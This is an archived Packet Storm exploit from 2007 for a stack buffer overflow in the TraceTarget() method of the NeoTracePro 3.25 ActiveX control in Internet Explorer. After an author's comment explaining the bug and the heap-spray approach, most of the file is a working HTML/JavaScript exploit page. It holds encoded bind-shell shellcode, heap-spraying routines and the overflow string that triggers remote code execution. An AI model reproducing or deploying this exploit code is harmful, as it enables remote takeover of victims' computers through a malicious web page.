neotracepro-overflow.txt

🗓️ 10 Jul 2007 00:00:00Reported by nitr0usType
packetstorm🔗 packetstormsecurity.com👁 22 Views
NeoTracePro 3.25 ActiveX Control "TraceTarget()" buffer overflow discovered in NeoTraceExplorer.dl
`<!--  
/* PUBLIC SINCE MAY 31th 2007 */  
  
/**** PRIVATE *** DON'T DISTRIBUTE *** PRIVATE *** DON'T DISTRIBUTE *** PRIVATE ****/  
____________________________________________________________________________  
NeoTracePro 3.25 ActiveX Control "TraceTarget()" b0f [NeoTraceExplorer.dll]  
Remote 0-day Exploit  
Risk Level: High  
Impact: Remote command execution  
Author: A. Alejandro Hernández aka nitr0us <[email protected]>  
Date: 24/03/07  
México  
____________________________________________________________________________  
/**** PRIVATE *** DON'T DISTRIBUTE *** PRIVATE *** DON'T DISTRIBUTE *** PRIVATE ****/  
  
I found this buffer overflow fuzzing NeoTraceExplorer.dll (an ActiveX Control) with ComRaider from iDefense.  
It has a method called TraceTarget() which can be exploited passing a large string (~486 bytes) due there's no boundary checking.  
  
Unfortunately, somebody else found this vulnerability few months ago, but this person didn't release an exploit ;)  
just published an advisory ( http://secunia.com/advisories/23463).  
  
First of all, this b0f cannot be exploitable with the classic technique (EIP points to an address that has a 'jmp esp') because  
each byte of the ret address MUST BE between 0x00 and 0x7f (ascii values), in other case, InternetExplorer will change  
the out-of-range bytes to 0x3f ('?' character) and EIP will point to and invalid address.  
Example:  
I've an 'jmp esp' @ 0x7c951eed in ntdll.dll, if I set the ret address to 0x7c951eed, when the buffer gets passed from  
Internet Explorer to TraceTarget(), it will overwrite EIP with: 0x7c3f1e3f (bullshit!).  
  
So, The Skylined's Heap Spraying technique comes into my mind... and here is, working so fuckin' fine =).  
  
TESTED ON: Windows XP SP 2 (Spanish) + Internet Explorer 7.0.5730.11 + NeoTracePro 3.25  
  
Greetz to: Crypkey, alt3kx, zonartm.org, dex, Optix, Nahual, ran.  
-->  
  
<html>  
<head>  
<title>  
NeoTracePro 3.25 ActiveX Control "TraceTarget()" b0f [NeoTraceExplorer.dll] Remote 0-day Exploit  
</title>  
</head>  
  
<body bgcolor=black text=white link=white alink=white vlink=white>  
<center>  
  
<object classid="clsid:3E1DD897-F300-486C-BEAF-711183773554" id="NeoTracePro"></object>  
  
<b>/**** PRIVATE *** DON'T DISTRIBUTE *** PRIVATE *** DON'T DISTRIBUTE *** PRIVATE ****/</b><br><br>  
NeoTracePro 3.25 ActiveX Control "TraceTarget()" b0f [NeoTraceExplorer.dll] Remote 0-day Exploit<br>  
by <a href="mailto:[email protected]">nitr0us</a><br>  
<a href="http://www.genexx.org/nitrous/" target=_blank>www.genexx.org/nitrous/</a><br><br>  
  
<input type="button" value="Exploit!" onClick="exploit()">  
  
<script>  
function exploit(){  
var Target = ""; // Exploit string  
var PwnEIP = 486; // bytes to reach EIP  
var Ninja = "\x05\x05\x05\x05"; // ret address = 0x05050505  
/* The fscking shellc0de, bind port 64876 [nitro ;)], encoded with Skylined's Alpha2 encoder and finally converted to utf-16 */  
// $./msfpayload win32_bind LPORT=64876 R | ./msfencode -t raw -b '\x00' -e Alpha2 | ./beta --utf-16 > shellcode.txt  
// beta encoder src: http://www.edup.tudelft.nl/~bjwever/src/beta.c  
var ShellCode = unescape(  
"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4937%u4949%u4949%u4949%u4949%u4949%u4949%u4949" +  
"%u5a51%u626a%u3058%u3042%u4150%u416b%u7241%u4132%u4142%u3242%u4142%u4230%u5841%u4138" +  
"%u5042%u7a75%u6b49%u434c%u585a%u726b%u4d6d%u5938%u4969%u496f%u696f%u516f%u4c70%u324b" +  
"%u444c%u4164%u4e34%u476b%u4735%u4e4c%u636b%u744c%u3245%u5358%u5a31%u4c4f%u724b%u756f" +  
"%u6e48%u536b%u576f%u3650%u4861%u636b%u4e79%u706b%u6c34%u644b%u6a41%u544e%u4f71%u4f30" +  
"%u6e69%u6b4c%u4f34%u5130%u4464%u5a47%u3961%u545a%u444d%u6f41%u4a32%u494b%u6564%u426b" +  
"%u6474%u7164%u6138%u5a65%u6e45%u636b%u656f%u6574%u7851%u556b%u6c36%u664b%u506c%u4c4b" +  
"%u514b%u474f%u456c%u7851%u776b%u5473%u6e6c%u4e6b%u7269%u614c%u5734%u426c%u4f41%u4633" +  
"%u4b51%u316b%u4c74%u714b%u5053%u4c30%u614b%u6650%u6c6c%u344b%u3730%u4c6c%u4c6d%u474b" +  
"%u6730%u4178%u734e%u6e58%u326e%u766e%u5a6e%u764c%u4b30%u484f%u4256%u7246%u7573%u4336" +  
"%u3458%u7473%u4272%u5448%u3237%u3453%u7372%u426f%u6b74%u7a4f%u7070%u5868%u584b%u4b6d" +  
"%u774c%u304b%u4b50%u5a4f%u5376%u6d6f%u4b59%u6355%u4f56%u6a71%u534d%u3438%u6642%u7235" +  
"%u444a%u3942%u386f%u5050%u6e68%u6439%u4b49%u6e45%u304d%u4b57%u494f%u5346%u3063%u6353" +  
"%u3663%u5333%u3163%u5153%u3043%u3343%u4b63%u4a4f%u5070%u7166%u4978%u526d%u434c%u5656" +  
"%u4c33%u4d49%u6e31%u5075%u4c68%u3464%u505a%u6f70%u4637%u3937%u4e6f%u7036%u746a%u4350" +  
"%u7661%u7935%u586f%u6150%u6d78%u4e74%u764d%u6d4e%u5239%u7977%u4e6f%u3336%u3363%u4965" +  
"%u4a6f%u5370%u4958%u3775%u4e39%u7066%u4649%u4b37%u4e4f%u6636%u7630%u6634%u6634%u6935" +  
"%u486f%u7a50%u4233%u3948%u7077%u7879%u3146%u5069%u3957%u6b6f%u5366%u6965%u686f%u6550" +  
"%u7336%u655a%u7034%u3166%u5178%u7273%u6f4d%u6d79%u3135%u427a%u6670%u4139%u5839%u6e4c" +  
"%u4869%u7367%u735a%u6e74%u6a69%u3742%u3941%u3850%u6c73%u4b6a%u774e%u4432%u4b6d%u474e" +  
"%u6432%u6d6c%u6e43%u706d%u307a%u6c38%u6c6b%u4e6b%u634b%u7058%u4b72%u4e4e%u5653%u4b76" +  
"%u424f%u3055%u5944%u796f%u6346%u706b%u7257%u7272%u4671%u5031%u3251%u644a%u7041%u3251" +  
"%u4171%u4645%u3931%u6a6f%u6370%u4c58%u6e6d%u5739%u5875%u434e%u4963%u6b6f%u5166%u4b7a" +  
"%u6b4f%u754f%u6967%u686f%u4e50%u366b%u3937%u4c6c%u3843%u5044%u4964%u5a6f%u4676%u4932" +  
"%u7a6f%u7570%u6c38%u6e30%u456a%u7154%u464f%u6b33%u4e4f%u6b36%u6e4f%u6230");  
var heapSprayToAddress = 0x05050505; // Spray up to this address  
var heapBlockSize = 0x400000; // Size of the blocks we want to create  
var heapHdrSize = 0x38; // The size of the header of heap blocks in MSIE  
var payLoadSize = ShellCode.length * 2; // Size of the shellcode (convert dwords to bytes)  
var spraySlideSize = heapBlockSize - (payLoadSize + heapHdrSize); // Size of the nopslide  
var spraySlide = unescape("%u4141%u4141"); // NOP Slide filled with 0x41 ( inc ecx)  
var heapBlocks = (heapSprayToAddress - 0x400000) / heapBlockSize; // Number of heap blocks  
  
spraySlide = getSpraySlide(spraySlide, spraySlideSize);  
  
// We are going to create large blocks that will contain:  
// [heap header][nopslide...........................][shellcode]  
memory = new Array();  
for (k = 0; k < heapBlocks; k++)  
memory[k] = spraySlide + ShellCode;  
  
// Create the Target string  
while(Target.length < PwnEIP)  
Target += "A";  
Target += Ninja;  
  
// Exploit !  
NeoTracePro.TraceTarget(Target);  
}  
  
function getSpraySlide(spraySlide, spraySlideSize){  
// The quickest way to create large blocks of memory is doubling their size untill they are  
// big enough (or too big, in which case we cut them back to size.)  
while(spraySlide.length * 2 < spraySlideSize)  
spraySlide += spraySlide;  
  
spraySlide = spraySlide.substring(0, spraySlideSize / 2);  
  
return spraySlide;  
}  
</script>  
</center>  
</body>  
</html>  
  
`
10 Jul 2007 00:00Current
buffer overflow neotracepro tracetarget()neotraceexplorer.dll exploit remote command execution vulnerability internet explorer comraider idefense eip skylined's heap spraying technique windows xp sp2 activex control